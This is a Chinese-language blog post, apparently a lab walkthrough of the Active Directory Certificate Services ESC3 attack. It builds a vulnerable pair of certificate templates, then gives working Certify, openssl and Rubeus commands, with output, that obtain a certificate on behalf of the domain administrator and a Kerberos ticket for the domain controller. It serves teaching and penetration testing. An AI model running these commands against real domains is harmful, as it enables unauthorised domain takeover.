简介:
AD CS(Active Directory 证书服务)中的企业CA使用证书模板定义设置颁发证书,这些证书模板是注册策略和预定义证书设置的集合,并包含诸如此证书的有效期是多长?、证书的用途是什么?、主题是如何指定的?、谁可以申请证书?,以及无数其他设置。证书模板有一组特定的设置,这使得它们非常容易受到攻击。
ESC3原理:
第三种滥用场景(ESC3)与ESC1和ESC2类似,但滥用的是不同的EKU,证书请求代理EKU (OID 1.3.6.1.4.1.311.20.2.1),在Microsoft文档101中称为注册代理,允许主体代表另一个用户注册证书。
应用场景:
假设智能卡用户亲自访问IT管理员进行验证,然后该管理员需要代表该用户提交证书请求。
AD CS通过在其eku中包含一个证书请求代理OID(1.3.6.1.4.1.311.20.2.1)的证书模板来实现这一点需求。“注册代理”在这样的模板中注册,并使用生成的证书代表其他用户共同签署CSR。然后,它将共同签署的CSR发送到CA,注册到一个允许“代表注册”的模板中,CA会用属于其他用户的证书进行响应。
ESC3利用条件:
ESC3要成功利用要有两个模板
第一个模板要满足以下几点(最主要是前2点)
1、需要有权限去注册证书
2、证书模板中应用策略开启“证书申请代理”
3、颁发 CA 授予低权限用户请求权限 (默认)
4、模板中 CA 管理员审批未启用 (默认)
5、模板中不需要授权的签名 (默认)
第二个模板要满足以下几点(最主要是前3点)
1、需要有权限去注册证书
2、模板定义了启用认证的 EKU(应用程序策略有任意一种身份验证)
3、模板模式版本 1 或大于 2 并指定应用策略,签发要求证书请求代理 EKU
4、颁发 CA 授予低权限用户请求权限 (默认)
5、模板中 CA 管理员审批未启用 (默认)
6、模板中不需要授权的签名 (默认)
ESC3漏洞环境配置:
首先进入证书颁发机构
选中证书模板,右键管理
这里一共要注册两个模板
第一个:
选中注册代理模板
右键复制模板
给新模板命名ESC3
需要更改以下配置:
安全属性中设置注册权限
扩展中应用程序策略改成证书申请代理(默认)
其余地方保持不变,保存
接着在颁发机构颁发证书模板
第二个:
复制注册代理模板,起名ESC3-2
安全属性中设置注册权限
发布要求中设置授权签名并设置策略类型
扩展设置客户端认证
保存,颁发证书
1.
这样,我们得ESC3漏洞环境就搭建完成了
ESC3漏洞复现:
这里还是先用Certify检查下证书模板配置
Certify.exe find /vulnerable
C:\Users\zhangsan\Desktop>Certify.exe find /vulnerable
CertifyKit (Hagrid29 version of Certify)
More info: https://github.com/Hagrid29/CertifyKit/
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=test,DC=com'
[*] Listing info about the Enterprise CA 'test-CA-CA'
Enterprise CA Name : test-CA-CA
DNS Hostname : CA.test.com
FullName : CA.test.com\test-CA-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=test-CA-CA, DC=test, DC=com
Cert Thumbprint : BA926BC14D8A5A42A94F7A75289F761ED3D55676
Cert Serial : 6B1C11898A943F83420886349402F998
Cert Start Date : 2023/2/1 23:43:31
Cert End Date : 2028/2/1 23:53:30
Cert Chain : CN=test-CA-CA,DC=test,DC=com
UserSpecifiedSAN : Disabled
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates TEST\Domain Admins S-1-5-21-3103767057-400549548-1822187925-512
Allow ManageCA, ManageCertificates TEST\Enterprise Admins S-1-5-21-3103767057-400549548-1822187925-519
Enrollment Agent Restrictions : None
[!] Vulnerable Certificates Templates :
CA Name : CA.test.com\test-CA-CA
Template Name : ESC3
Schema Version : 2
Validity Period : 2 years
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH
mspki-enrollment-flag : AUTO_ENROLLMENT
Authorized Signatures Required : 0
pkiextendedkeyusage : 证书申请代理
mspki-certificate-application-policy : 证书申请代理
Permissions
Enrollment Permissions
Enrollment Rights : NT AUTHORITY\Authenticated UsersS-1-5-11
TEST\Domain Admins S-1-5-21-3103767057-400549548-1822187925-512
TEST\Enterprise Admins S-1-5-21-3103767057-400549548-1822187925-519
Object Control Permissions
Owner : TEST\Administrator S-1-5-21-3103767057-400549548-1822187925-500
WriteOwner Principals : TEST\Administrator S-1-5-21-3103767057-400549548-1822187925-500
TEST\Domain Admins S-1-5-21-3103767057-400549548-1822187925-512
TEST\Enterprise Admins S-1-5-21-3103767057-400549548-1822187925-519
WriteDacl Principals : TEST\Administrator S-1-5-21-3103767057-400549548-1822187925-500
TEST\Domain Admins S-1-5-21-3103767057-400549548-1822187925-512
TEST\Enterprise Admins S-1-5-21-3103767057-400549548-1822187925-519
WriteProperty Principals : TEST\Administrator S-1-5-21-3103767057-400549548-1822187925-500
TEST\Domain Admins S-1-5-21-3103767057-400549548-1822187925-512
TEST\Enterprise Admins S-1-5-21-3103767057-400549548-1822187925-519
这里主要看这两个地方
mspki-certificate-application-policy应用程序策略为 证书申请代理,满足低权限用户进行注册
这里可以看满足利用条件
首先命令行输入certmgr打开证书面板
右键个人文件夹申请新证书
默认下一步
下一步
这里我们选择ESC模板,点击详情打开属性
私钥中选择私钥可以导出
接着确定,注册证书
接着我们选中刚刚注册的证书,右键导出
选择导出私钥
下一步
这里设置一个密码123123
导出到桌面ESC3.pfx
接着利用刚刚申请的证书代表 administrator 申请 esc3_2.pfx 的身份认证证书
Certify.exe request /ca:"CA.test.com\test-CA-CA" /template:ESC3-2 /onbehalfof:TEST\administrator /enrollcert:ESC3.pfx /enrollcertpw:123123
成功申请到证书
这时我们去证书服务器上看下,发现申请人是administrator
最后我们只需要在kali上转换成pfx格式的证书就可以请求tgt票据了
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
使用Rubeus工具获取tgt
https://github.com/GhostPack/Rubeus
在获取tgt之前,我们尝试访问域控上的文件,发现无法访问
使用Rubeus获取tgt
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.161.177 /ptt
如果出现 KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP
我这边重启了下域控就好了,应该是证书没同步
这时候就可以访问域控文件了
Comments NOTHING